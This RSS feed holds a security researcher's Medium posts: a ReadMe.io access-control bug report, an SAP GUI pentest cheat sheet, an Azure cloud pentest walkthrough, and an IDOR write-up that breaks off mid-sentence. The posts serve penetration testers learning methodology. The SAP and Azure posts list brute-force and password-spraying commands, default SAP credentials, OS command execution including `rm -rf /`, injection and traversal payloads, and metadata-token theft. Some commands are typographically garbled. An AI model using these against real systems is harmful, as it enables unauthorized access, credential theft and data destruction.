<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by shesha sai_c on Medium]]></title>
        <description><![CDATA[Stories by shesha sai_c on Medium]]></description>
        <link>https://medium.com/@sheshasai?source=rss-279cf66f3bb6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XKXFTKLRlbWw67BSjV-TFQ@2x.jpeg</url>
            <title>Stories by shesha sai_c on Medium</title>
            <link>https://medium.com/@sheshasai?source=rss-279cf66f3bb6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 07:40:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sheshasai/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hi ReadMe.io]]></title>
            <link>https://sheshasai.medium.com/hi-readme-io-c0b7ce2e4909?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0b7ce2e4909</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Tue, 31 Mar 2026 17:10:15 GMT</pubDate>
            <atom:updated>2026-04-03T08:14:49.905Z</atom:updated>
            <content:encoded><![CDATA[<h2>Summary:</h2><p>It was observed that the application allows users to create projects and invite members to the project where i observed the user roles are of two types one is owner and second is Normal user.</p><p>I also observed that the application server side validations are not in place which allows Normal users to perform Owner actions such as inviting new users and deleting existing users.</p><p>How to Reproduce:</p><p>Visit: https://matteroffact.readme.io/reference#/settings/manage-team</p><p>As the Owner invite users to the team</p><p>Observe that invite and remove users to the team should be maintained by Owner alone.</p><p>Login as the Normal user and go the team and perform actions such as invite and delete user from the team and it will be applicable.</p><p>I would like to add few more pointers to my statement.</p><ol><li>The domain is considered as in-scope.</li><li>The finding is valid and I had shared the same over the video with evidence.</li><li>It is very clear that the finding is valid in all the cases.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*XeRAq47xUvPvDmNQ8m8Deg@2x.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*UnS9Zsm9Heh6eSA9fsQJrA@2x.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0b7ce2e4909" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SAP PENTEST]]></title>
            <link>https://sheshasai.medium.com/sap-pentest-698c57869b33?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/698c57869b33</guid>
            <category><![CDATA[sap-security]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Fri, 17 May 2024 15:31:28 GMT</pubDate>
            <atom:updated>2024-10-13T03:44:09.604Z</atom:updated>
            <content:encoded><![CDATA[<h3>SAP GUI Interface</h3><p>Test Case 1: Weak or Default Password Policies</p><p>Attack Steps: <br>1. Identify Login Interface : Locate the SAP GUI login interface.<br>2. Password Brute Force : Use a brute force tool like Hydra to attempt common passwords.<br> — Command: `hydra -l &lt;username&gt; -P &lt;password_list&gt; sap://&lt;server&gt;:&lt;port&gt;`</p><p>Example Payloads: <br>- Common passwords: `admin`, `password123`, `sap123`, `welcome1`</p><p>Impact: <br>- Unauthorized access to the SAP system, potentially leading to data breaches and further exploitation.</p><p>Test Case 2: Insecure Client Configuration</p><p>Attack Steps: <br>1. Analyze Configuration : Examine SAP GUI configuration files (`saplogon.ini`, `sapmsg.ini`, etc.) for sensitive information.<br>2. Exploit Misconfigurations : Check if the configuration allows for insecure connections (e.g., without SNC encryption).</p><p>Example Payloads: <br>- Look for plaintext credentials or other sensitive data in configuration files.</p><p>Impact: <br>- Potential for Man-in-the-Middle (MitM) attacks or unauthorized access.</p><p>Test Case 3: Exploiting SAP GUI Scripting</p><p>Attack Steps: <br>1. Enable Scripting : Ensure SAP GUI scripting is enabled on both the client and server side.<br>2. Create Malicious Script : Develop a script that performs unauthorized actions, such as extracting data or altering configurations.<br>3. Execute Script : Run the script on a victim’s machine or trick a user into running it.</p><p>Example Payloads: <br>- VBScript example to extract user information:<br> ```vbscript<br> Set SapGuiAuto = GetObject(“SAPGUI”)<br> Set application = SapGuiAuto.GetScriptingEngine<br> Set connection = application.Children(0)<br> Set session = connection.Children(0)<br> session.findById(“wnd[0]/tbar[0]/okcd”).Text = “/nSU01”<br> session.findById(“wnd[0]/tbar[0]/btn[0]”).press<br> session.findById(“wnd[0]/usr/ctxtRSYST-BNAME”).Text = “USERNAME”<br> session.findById(“wnd[0]/tbar[1]/btn[7]”).press<br> MsgBox session.findById(“wnd[0]/usr/txtBNAME”).Text<br> ```</p><p>Impact: <br>- Unauthorized data extraction, manipulation of user accounts, and potential system compromise.</p><p>Test Case 4: Unauthorized Transaction Codes (T-Codes)</p><p>Attack Steps: <br>1. Identify Accessible T-Codes : Enumerate transaction codes available to the user.<br>2. Test for Unauthorized Access : Attempt to execute high-privilege T-Codes that should be restricted.</p><p>Example Payloads: <br>- Execute a sensitive T-Code:<br> — `/nSU01` for user management.<br> — `/nSE38` for ABAP editor access.</p><p>Impact: <br>- Potential to create or modify user accounts, execute arbitrary ABAP code, or change system configurations.</p><p>Test Case 5: Exploiting RFC Connections via SAP GUI</p><p>Attack Steps: <br>1. Identify RFC Connections : Use SAP GUI to identify configured RFC connections.<br>2. Test Connections : Use RFC destinations to connect and interact with remote SAP systems.<br>3. Exploit RFC Functions : Attempt to call sensitive RFC functions using SAP GUI.</p><p>Example Payloads: <br>- Using `RFC_READ_TABLE` to read sensitive data:<br> — Input Table: `USR02`<br> — Output Fields: `BNAME, PWDSALTEDHASH`</p><p>Attack type 2:</p><ol><li>Use SAP T-code SE16 which allows attacker to access the tabular column access</li><li>Provide Tablename with random value in my case USR01, USR02 and viceversa</li><li>In the next tab it will ask for bnames etc either you can provide a specific value or just click on execute which will provide you the full list of the internal Table</li><li>This table contains Bname, Bcodes,passwordsalthash etc</li><li>Double click on any column it should redirect you to a column with all the info mentioned in step 4</li></ol><p>Impact: <br>- Extraction of sensitive data, potential to pivot to other systems, and compromise of interconnected SAP systems.</p><p>Test Case 6: Misuse of Authorizations</p><p>Attack Steps: <br>1. Review User Authorizations : Examine user roles and authorizations via transaction `PFCG`.<br>2. Test for Excessive Privileges : Attempt to perform actions beyond the intended scope of the user’s role.</p><p>Example Payloads: <br>- Check for critical authorizations like `S_USER_ALL`, `S_TCODE`, `S_TABU_DIS`.</p><p>Impact: <br>- Unauthorized data access or modification, elevation of privileges, and potential system-wide compromise.</p><p>Test Case 7: Manipulating SAP GUI Shortcuts</p><p>Attack Steps: <br>1. Create Malicious Shortcut : Generate a SAP GUI shortcut that executes unauthorized commands.<br>2. Distribute Shortcut : Trick users into opening the malicious shortcut.</p><p>Example Payloads: <br>- Shortcut file (`.sap`):<br> ```plaintext<br> [System]<br> Name=SAP<br> Client=100<br> User=&lt;USERNAME&gt;<br> Command=/nSU01<br> Description=User Maintenance<br> ```</p><p>Impact: <br>- Execution of unauthorized transactions, potential data manipulation, and security policy violations.</p><p>Test Case 8: Exploiting Buffer Overflow Vulnerabilities</p><p>Attack Steps: <br>1. Identify Vulnerable Inputs : Look for input fields in SAP GUI that may not properly handle large inputs.<br>2. Send Malicious Input : Craft and send a payload that exceeds the buffer limits.</p><p>Example Payloads: <br>- Overflow payload:<br> ```plaintext<br> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<br> ```</p><p>Impact: <br>- Potential denial of service (DoS), remote code execution, or system crashes.</p><p>Test Case 9: Analyzing Network Traffic</p><p>Attack Steps: <br>1. Capture Traffic : Use Wireshark or similar tools to capture network traffic between SAP GUI and the SAP server.<br>2. Analyze for Sensitive Data : Look for unencrypted sensitive data such as user credentials.</p><p>Example Payloads: <br>- Analyze captured traffic for plaintext credentials or sensitive information.</p><p>Impact: <br>- Interception of sensitive data, leading to unauthorized access and information disclosure.</p><p>Additional test types are as follows:</p><p>1. Weak Password Policies</p><p>Attack Steps: <br>1. Attempt to log in with common or default credentials.<br>2. Use password spraying techniques with a list of weak passwords.</p><p>Payload Example: <br>- Username: `SAP*`<br>- Password: `PASS`</p><p>Impact: <br>Unauthorized access to SAP systems due to weak or default passwords.</p><p>2. Brute Force Attack</p><p>Attack Steps: <br>1. Use a brute force tool like Hydra or Medusa.<br>2. Run the tool with a dictionary of possible passwords.</p><p>Payload Example: <br>- Dictionary file containing common passwords.</p><p>Impact: <br>Compromised accounts if weak passwords are used.</p><p>3. Session Hijacking</p><p>Attack Steps: <br>1. Capture network traffic using a tool like Wireshark.<br>2. Extract session IDs from intercepted traffic.<br>3. Use the session ID to hijack the user’s session.</p><p>Payload Example: <br>- Intercepted session ID: `SessionID=123456789`</p><p>Impact: <br>Unauthorized actions performed in the context of the hijacked session.</p><p>4. Replay Attack</p><p>Attack Steps: <br>1. Capture a valid login request using a tool like Burp Suite.<br>2. Replay the request to the server.</p><p>Payload Example: <br>- Captured login request with credentials.</p><p>Impact: <br>Repeated unauthorized access if the session is still valid.</p><p>5. Authorization Bypass</p><p>Attack Steps: <br>1. Identify sensitive functions accessible via SAP GUI.<br>2. Attempt to access these functions directly without proper authorization.</p><p>Payload Example: <br>- Transaction code: `SE37` (for function module execution)</p><p>Impact: <br>Access to sensitive functionalities without proper authorization.</p><p>6. Privilege Escalation via Debugging</p><p>Attack Steps: <br>1. Access the debugging function via transaction code `SE37`.<br>2. Modify the values of variables to escalate privileges.</p><p>Payload Example: <br>- Modify variable `USER_ROLE` to `ADMIN`</p><p>Impact: <br>Elevated privileges leading to unauthorized actions.</p><p>7. Transaction Manipulation</p><p>Attack Steps: <br>1. Intercept and manipulate data sent during a transaction.<br>2. Use tools like Burp Suite to modify parameters.</p><p>Payload Example: <br>- Change transaction amount from `1000` to `10`</p><p>Impact: <br>Financial loss or data corruption due to manipulated transactions.</p><p>8. ABAP Code Injection</p><p>Attack Steps: <br>1. Identify input fields that interact with ABAP code.<br>2. Inject malicious ABAP code.</p><p>Payload Example: <br>- `DATA: malicious_command TYPE STRING. malicious_command = ‘DELETE FROM …’. EXEC SQL. END EXEC.`</p><p>Attack type 2:</p><ol><li>Use the command SM49 /SM69 and function modules such as SXPG_COMMAND_EXECUTE which allows attacker to access sensitive/Critical pages</li><li>This page allows command execution</li><li>Provide your commands as follows</li><li>/bin/bash with your arbitrary Linux commands as Whoami, etc/passwd, uname etc</li></ol><p>Impact: <br>Execution of arbitrary commands and data manipulation.</p><p>9. Cross-Site Scripting (XSS) in SAP GUI</p><p>Attack Steps: <br>1. Identify input fields that are reflected back in the SAP GUI interface.<br>2. Inject XSS payloads and observe execution.</p><p>Payload Example: <br>- `&lt;script&gt;alert(‘XSS’);&lt;/script&gt;`</p><p>Impact: <br>Session hijacking, data theft, or phishing attacks through executed scripts.</p><p>10. Buffer Overflow</p><p>Attack Steps: <br>1. Identify input fields without proper bounds checking.<br>2. Input an excessively long string to overflow the buffer.</p><p>Payload Example: <br>- String of `A` repeated 1000 times.</p><p>Impact: <br>Potential denial of service or execution of arbitrary code.</p><p>11. SQL Injection in SAP Queries</p><p>Attack Steps: <br>1. Identify input fields that interact with database queries.<br>2. Inject SQL payloads to manipulate database queries.</p><p>Payload Example: <br>- `’ OR ‘1’=’1`</p><p>Impact: <br>Data leakage, unauthorized data manipulation, or deletion.</p><p>12. Default Credentials in SAP Services</p><p>Attack Steps: <br>1. Identify SAP services that may use default credentials.<br>2. Attempt to log in with known default credentials.</p><p>Payload Example: <br>- Username: `DDIC`<br>- Password: `19920706`</p><p>Impact: <br>Full administrative access if default credentials are not changed.</p><p>13. Insecure Transport Layer</p><p>Attack Steps: <br>1. Analyze network traffic for unencrypted data.<br>2. Intercept and read sensitive information.</p><p>Payload Example: <br>- Capture and decode HTTP traffic.</p><p>Impact: <br>Sensitive information disclosure, such as usernames and passwords.</p><p>14. Directory Traversal in File Uploads</p><p>Attack Steps: <br>1. Identify file upload functionality in SAP GUI.<br>2. Manipulate the file path to access restricted directories.</p><p>Payload Example: <br>- `../../../../etc/passwd`</p><p>Impact: <br>Access to restricted files and potential data disclosure.</p><p>15. Malicious Script Execution</p><p>Attack Steps: <br>1. Identify input fields that accept scripts.<br>2. Inject scripts to execute arbitrary commands.</p><p>Payload Example: <br>- `CALL FUNCTION ‘RFC_READ_TABLE’`</p><p>Impact: <br>Execution of unauthorized commands, data leakage.</p><p>16. Man-in-the-Middle Attack</p><p>Attack Steps: <br>1. Position an attacker between the SAP GUI client and the server.<br>2. Intercept and manipulate communication.</p><p>Payload Example: <br>- Use tools like Ettercap to intercept traffic.</p><p>Impact: <br>Data manipulation, credential theft, or unauthorized transactions.</p><p>17. Command Injection via Debugging</p><p>Attack Steps: <br>1. Access the debugging tool in SAP GUI.<br>2. Inject OS commands through the debugger.</p><p>Payload Example: <br>- `SYSTEM(‘rm -rf /’)`</p><p>Impact: <br>Execution of arbitrary OS commands leading to potential system compromise.</p><p>18. Configuration Vulnerabilities</p><p>Attack Steps: <br>1. Access configuration settings via transaction codes like `SPRO`.<br>2. Identify and exploit misconfigurations.</p><p>Payload Example: <br>- Modify user roles and permissions.</p><p>Impact: <br>Insecure configurations leading to privilege escalation or data leakage.</p><p>19. Unpatched Vulnerabilities</p><p>Attack Steps: <br>1. Identify the SAP GUI version and compare with known vulnerabilities.<br>2. Exploit unpatched vulnerabilities using publicly available exploits.</p><p>Payload Example: <br>- Use exploits from platforms like Exploit-DB.</p><p>Impact: <br>System compromise due to known vulnerabilities.</p><p>20. Misconfigured RFC Gateways</p><p>Attack Steps: <br>1. Identify RFC gateways and their configurations.<br>2. Exploit misconfigurations to execute unauthorized RFC calls.</p><p>Payload Example: <br>- `RFC_ABAP_INSTALL_AND_RUN`</p><p>Impact: <br>Remote code execution and unauthorized data access.</p><p>21. SAP Router Exploitation</p><p>Attack Steps: <br>1. Identify SAP Router configurations.<br>2. Exploit weak configurations to gain access to the internal network.</p><p>Payload Example: <br>- Bypass ACLs to access SAP systems directly.</p><p>Impact: <br>Network infiltration and lateral movement.</p><p>22. Insecure Custom Programs</p><p>Attack Steps: <br>1. Review custom ABAP programs for security flaws.<br>2. Exploit insecure coding practices.</p><p>Payload Example: <br>- `SELECT * FROM customers WHERE id = ‘123 OR 1=1’`</p><p>Impact: <br>Data leakage and unauthorized actions due to insecure code.</p><p>23. Transport Directory Manipulation</p><p>Attack Steps: <br>1. Access the transport directory (`/usr/sap/trans`).<br>2. Inject malicious transport requests.</p><p>Payload Example: <br>- Modify transport files to include malicious code.</p><p>Impact: <br>Introduction of malicious code into the SAP system.</p><p>24. SAP Pool requests</p><p>Sap pool requests contains information such as payslips, usernames, pool request details</p><p>Attack steps:</p><ol><li>Provide SAP code SP01 or SM09 which ever works</li><li>It will trigger a form to list spool codes</li><li>Empty all data and in the title put * and click execute</li><li>Observe that we have received tons of data</li></ol><p>Impact: unauthorised access to SAP pool data</p><p>If you learned something with this then <a href="http://buymeacoffee.com/Sheshasaic">buymeacoffee</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*kW2Z3TriqjhQAdd2aU1G7Q.png" /></figure><p>To Be Continued…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=698c57869b33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Azure Cloud Penetration Testing]]></title>
            <link>https://sheshasai.medium.com/azure-cloud-penetration-testing-aff39d7a12c7?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/aff39d7a12c7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cloud]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Fri, 27 Jan 2023 11:49:41 GMT</pubDate>
            <atom:updated>2024-10-13T03:40:47.071Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hunters!</p><p>I came back with another documentation about the Azure Cloud penetration testing, bookmark this write-up so whenever I add new content it will get added here.</p><p>In this write-up we are going to focus only on vulnerabilities and misconfigurations and how they can be exploited.</p><p>Lets dive in…!</p><p>Do not confuse ‘’<strong>security principal</strong>’’ with ‘’<strong>service principal</strong>.”</p><p><strong>Security principal</strong> is used to describe objects in Azure AD which include users, groups, and service principals. Every security principal has an <strong>object ID</strong> which can be used to identify in the Azure AD and this <strong>object ID </strong>can be used as a reference to adding a user to the service principal.</p><p><strong>Service principal</strong> is an application identity and it is an Azure AD object which is used to represent AD resources. These are very important when we come to automation account attacks</p><p>There are three primary roles that are commonly applied in Azure such as Reader, Contributor and Owner.</p><p><strong>Note that the access to Azure AD is different from Azure resources as well as their permissions</strong></p><p>The following documentation provide you details of vulnerabilities when you have minimal access to the cloud.</p><p>If the module is not imported, it is necessary for us to import those modules to the Powershell to start with azure cloud PT</p><blockquote>PS:&gt; Import-Module Az</blockquote><p>Once the import is done we can start using the module.</p><p>Tip: we can use <strong>Ctrl+Space</strong> to prepopulate the available options with the tool</p><p>To see the sub-modules within the Az module, we can use the following command:</p><blockquote>PS C:\&gt; Get-Module -Name az*</blockquote><p>To get all of the commands available in a module, you can use the following command:</p><blockquote>PS C:\&gt; Get-Module -Name az*</blockquote><p>To install modules in the environment open the powershell as Admin and use the following command:</p><blockquote>PS C:\&gt; Install-Module -Name AzureAD</blockquote><p>Once we have completed out installation, lets connect our Azure AD account</p><blockquote>PS C:\&gt; Connect-AzureAD</blockquote><h4>Finding anonymous azure services</h4><p>Finding anonymous azure services gives us more information about the target contents which allow us to expand our attack path</p><ol><li>For this we will use the tool “Microburst to enumerate PaaS services”</li><li>Download the tool from <a href="https://github.com/NetSPI/MicroBurst">https://github.com/NetSPI/MicroBurst</a></li><li>We can use it to enumerate active azure platform services instances</li><li>Lets import the module to out powershell sesssion</li><li>PS:&gt; cd MicroBust then PS:&gt;Import-Module MicroBurst.psm1</li><li>Use the following command to identify potential targets that have names with &lt;Targetname&gt;</li></ol><blockquote>Invoke-EnumerateAzureSubDomains function -Base &lt;Targetname&gt;</blockquote><p>8. The output shows that there are Target name instances such as files,Blob,Tables etc</p><h4><strong>Determining domain services are hosted in Azure</strong></h4><p>It is always recommended to determine your attack path and it’s subdomains or IP ranges of your target. It can help either in determining to touch the other IP ranges or to leave them to be. (Recommended to confirm the scope from the client before you initiate enumeration)</p><ol><li>For this exercise lets take demo.azurepentesting.com</li><li>Lets grab the &lt;ip_address&gt; of the domain using the tool nslookup, ping or nmap</li></ol><blockquote>Invoke-WebRequest <a href="https://cloudipchecker.azurewebsites.net/api/servicetags/manual?">https://cloudipchecker.azurewebsites.net/api/servicetags/manual?</a>ip=&lt;IP_ADDRESS&gt; -UseBasicParsing | Select-Object -ExpandProperty</blockquote><p>3. The output shows us the IP belongs to Azure along with IP range</p><h4>Identifying misconfigured blob containers with MicroBurst</h4><p>Misconfigured blob containers are like a mini treasure boxes stored in the cloud environment as it can contain some golden files and sensitive information</p><ol><li>Lets begin with launching powershell as Admin</li><li>change it to microburst directory “cd Microburst”</li><li>import Microburst module using the following command: <strong>Import-Module .\Microburst.psm1</strong></li><li>Lets identify our &lt;Targetname&gt; public storage accounts with containers that have the container access level configured with microburst tool using the following command:</li></ol><blockquote>Invoke-EnumerateAzureBlobs -Base &lt;Targetname&gt;</blockquote><p>5. Observe the output containing the files or files with the container blob storage then lets use the following command</p><blockquote>Invoke-WebRequest -Uri “https://&lt;Targetname&gt;/public/README.txt “ -OutFile “README.txt”</blockquote><p>6. We can open the downloaded files using: notepad README.txt</p><p><strong>The advantage of using microburst tool is that we can use our custom created permutations list with microburst tool</strong></p><blockquote>Invoke-EnumerateAzureBlobs -Base &lt;Targetname&gt; -Folders .\customcontainer.txt</blockquote><h4>Bruteforceing Azure AD directory credentials using the MSOLSPRAY</h4><p>MSOLSpray is used to perfrom bruteforce attacks and password spray attacks</p><ol><li>Open the powershell console as Admin</li><li>Download the tool “git clone <a href="https://github.com/dafthack/MSOLSpray.git">https://github.com/dafthack/MSOLSpray.git</a>”</li><li>Change directory to MSOLSpray: cd MSOLSpray</li><li><strong>Import-Module .\MSOLSpray.ps1</strong></li><li>Create a list of users of your choice or download the wordlist of usernames of your choice</li></ol><blockquote>Invoke-MSOLSpray -UserList .\userlist.txt -Password &lt;passwordhere&gt;</blockquote><p>7. Observe the output, we can see that the attack was successful and we got valid emails with password</p><p>The tool will start spraying the password with the list of usernames we have provided with the userlist.txt file.</p><h4>information Gathering for subscription access information with PowerZure</h4><p>Powerzure is a powershell based tool which can be used to gather information about an Azure environment and find exploit discoveries</p><ol><li>Open a authenticated powershell module</li><li>Download the tool using : PS C:\&gt; git clone <a href="https://github.com/hausec/PowerZure.git">https://github.com/hausec/PowerZure.git</a></li><li>Change the directory to powerzure</li></ol><blockquote>PS C:\&gt; Import-Module .\PowerZure.psm1</blockquote><p>for more detailed information on powerzure please use the <a href="https://powerzure.readthedocs.io/en/latest/">link</a></p><blockquote>PS:C\&gt; Get-AzureTarget</blockquote><p>The output shows us the information about the current scope of the user</p><h4>Enumerating information about subscriptions with MicroBurst</h4><p>Enumeration is an important phase of penetration testing where we can gather a ton of information about the target which allows us to get more juicy information about our target.</p><p>For this exercise lets use the Microburst tool</p><p>Lets start with importing the Microburst module to our poweshell</p><p>change directory <strong>cd .\microburst</strong></p><blockquote>Import-Module .\Microburst.psm1</blockquote><p>To store our output for the microburst we need to create a directory</p><blockquote>PS C:\&gt; New-Item -Name “MBoutput” -ItemType “directory”</blockquote><p>Lets use the Microburst command to identify the azure subscription with the below command:</p><blockquote>PS C:\&gt; Get-AzDomainInfo -Verbose -Folder MBoutput</blockquote><p>Observe that we have receieved a pop-up window containing domain information. click on OK</p><p>open the folder with our output using the following command with in the powershell:</p><blockquote>explorer MBoutput</blockquote><p>Go through the downloaded contents from the MBoutput folder where you may find the users, domain, emails and other token related information.</p><h4>How to view sensitive information with reader role:</h4><p>In general reader role does not have read/write permissions which means the user must not be able to view the credentials</p><p>Note: In cloud some creds are meant to be exposed and this is what taken advantage as an hacker to get our hands on.</p><p>If you can do the following then that means we have upper hand and the following are not provided for reader role permission:</p><h4>Reading the azure keys of azure storage account which required permissions to access and it is not included for reader role</h4><h4>Reading the configuration settings of the azure app service and azure funcation app</h4><h4>Reading the account keys which are used to access cosmos DB</h4><p>Every resource group has a history of deployments which can be found under “Resourcegroups → &lt;name&gt;-rg → deployments → Inputs”</p><p>While doing the analysis in resource group for templates it is recommended to keep in mind to look for values such as “string”and “secure string” the code snippet is as follows:</p><blockquote>}</blockquote><blockquote>“admin”:{“type”: “string”}</blockquote><blockquote>}</blockquote><blockquote>“adminPassword”:{“type” : “SecureString”}</blockquote><blockquote>}</blockquote><p>this can also be done using the following method with Microburst tool as from the previous engagements open the MBOutput</p><p>Open the path folder → Resources → notepad deployment.txt</p><blockquote>notepad MBoutput/AZ /&lt;VM&gt;/Resources/deployment.txt</blockquote><p>When we open the deployment.txt file look for some keywords such as “output” “parameters” (These are not the exhaustive list of keywords)</p><p>Awesome we found an SSH command and username and password which is in the following format</p><blockquote>ssh username@domainname_or_vmName</blockquote><blockquote>Exposed Username: username</blockquote><blockquote>Exposed Password: password</blockquote><p>Use them in the powershell with the cloud enviroment of reader user and you will get the Admin level access</p><p>We need to review the azure instance metadata to know about how the VM are configured in Azure. To do that use the following commands</p><blockquote>azureadmin@:- sudo su -</blockquote><blockquote>root# curl -H Metadata:true — — noproxy “*” “http://169.254.169.254/metadata/instance?api-version=2020–18–02 | jq</blockquote><p>jq is used to get the output in json format</p><p>The output here we get from the above commands gives us information about the network, compute, location, username etc</p><p>Lets check if the VM has any managed identity using the following command</p><blockquote>root# curl -H Metadata:true — — noproxy “*” “http://169.254.169.254/metadata/instance?api-version=2020–18–02&amp;resource=https://management.azure.com/ | jq</blockquote><p>The above access token reveals us the access_token which can be used further to interact with the REST-APIs by combining the access_token with the Microburst modules which helps us to gather vault_secrets and storage account keys and to run commands on VMs</p><p>To check permissions of this VMs we need a tool called Azure CLI</p><blockquote>curl -sL <a href="https://aka.ms/InstallAzureCLIDeb">https://aka.ms/InstallAzureCLIDeb</a> |sudo bash</blockquote><blockquote># az login —identity</blockquote><p>By using the above command we can get information of the user</p><h4>Exploiting service configurations</h4><p>In this section we will discuss about how we can find the app and its services using the powershell module</p><p>There are two method to identify the applications in our target cloud:</p><ol><li>visiting the AppServices menu from the reader role access</li><li>Using the powershell commands as follows (I Prefer this as this is the easiest and fun)</li><li>We can also find content of this using the MBoutput folder that we have saved from earlier engagements under AZ/&lt;Name&gt;/Resources/Appservices.csv</li></ol><p>To gather the information about the external DNS hostnames use:</p><blockquote>PS C:\&gt; Get-Az-WebApp | SELECT EnabledHostNames</blockquote><h4>Azure Function APPs:</h4><p>These are also known as serverless apps it does not require infrastructure to host and it can also acts as our classic web application</p><p>As a reader we have only limited powers in our subscription such as Reading function app code and reading app files</p><p>Goto Functions → then navigate to Code+Test this help us to review the Source code if you have prior knowledge to source code review then we know that most of the developers make mistake in providing sensitive information in comments or other info.</p><p>Tip: Focus on files such as .json which holds a lot of sensitive information</p><p>Once we get our hands on the .json file containing data such as clientID, TenantID, ClientSecret. Note them down for our further process</p><p>For this lets use the Azure CLI the reason we are using this is to have an understanding of different tools can help you in the wild</p><blockquote>PS C:\&gt; az login — service-principal -u &lt;clientID&gt; — — tenant &lt;tenantID&gt;</blockquote><p>When prompted for password we can use the command line to pass clientSecret we have obtained for authentication</p><h4>Privilege escalation using mis-configured service principle</h4><p>lets get going again about what is service principle</p><p><strong>Note: The permissions of Azure AD and Azure resources are not the same</strong></p><p>The user with readonly can only have read only with Azure resources but as he is from a Azure AD and all Azure AD tenant users can create account or register for the application that is being build</p><p>The service principal account allows user to set credentials such as certificates and secrets which can be used by the attacker to leverage the privileges</p><p>When registered for application the readonly user has been assigned with higher privilege such as contributor role or higher</p><p><strong>Tobecontinued….</strong></p><p>If you learnt something new and enjoyed this article:</p><p>you can <a href="http://buymeacoffee.com/Sheshasaic">buy me a coffee</a></p><p>I will be keep adding the content for this documentation so stay tuned.</p><p>If you have any questions regarding this please reach out to me so that i can update/create more content for better understanding</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aff39d7a12c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR + PII Leakage]]></title>
            <link>https://sheshasai.medium.com/idor-pii-leakage-3ad0a4ef4638?source=rss-279cf66f3bb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ad0a4ef4638</guid>
            <category><![CDATA[tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security-vulnerabilities]]></category>
            <dc:creator><![CDATA[shesha sai_c]]></dc:creator>
            <pubDate>Sun, 11 Dec 2022 15:04:37 GMT</pubDate>
            <atom:updated>2024-10-13T03:56:04.327Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello Hunters!!</p><p>This is Shesha Sai C.</p><p>I’m back with another write-up about the combination of IDOR with PII (<strong>Personal Identifiable Information</strong>) Leakage which lead to High Severity P2.</p><p>Let’s call this as redacted.com</p><p>After spending like half a day I came with no findings or I can say nothing interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*siB0plBj3gWYEhk7.gif" /></figure><p>Later that day I grabbed a cup of boost and took a step back and re-calculated my tactics.</p><p>After a lot of digging found an end point which allow users to order products from redacted.com and then allow the owner to view the order and its contents which included user private information and order information (both are not same).</p><p>When I found this end-point I was surprised that the order ID was totally predictable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*UTJ0QEHPo3SDOy8R.gif" /></figure><p>I immediately started ordering products from different accounts and found the order ID pattern, then started the attack by crafting the payload with Intruder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*W2vtQJxx5CUTQckf.gif" /></figure><p>DAAAAMMMMNNNN!!!! The attack was successful and I was able to view the order information and personal information of other users.</p><p>There we have our WINNING BLOW….!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*0_xGlg9SXAJLGGMK.gif" /></figure><p>I have opened all the requests one by one to verify the attack in which I was successful by gaining information of all other users.</p><p>The hunt completed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*69SbgQnKjFRXJztP.gif" /></figure><p><strong>Steps to Reproduce:</strong></p><blockquote><em>Visit : </em>https://redacted.com/orders</blockquote><blockquote><em>Click on my orders -&gt; View order</em></blockquote><blockquote><em>Observe that the application allows us to view the order details.</em></blockquote><blockquote><em>Click on View Order Status, observe that the application shows the entire order summary of 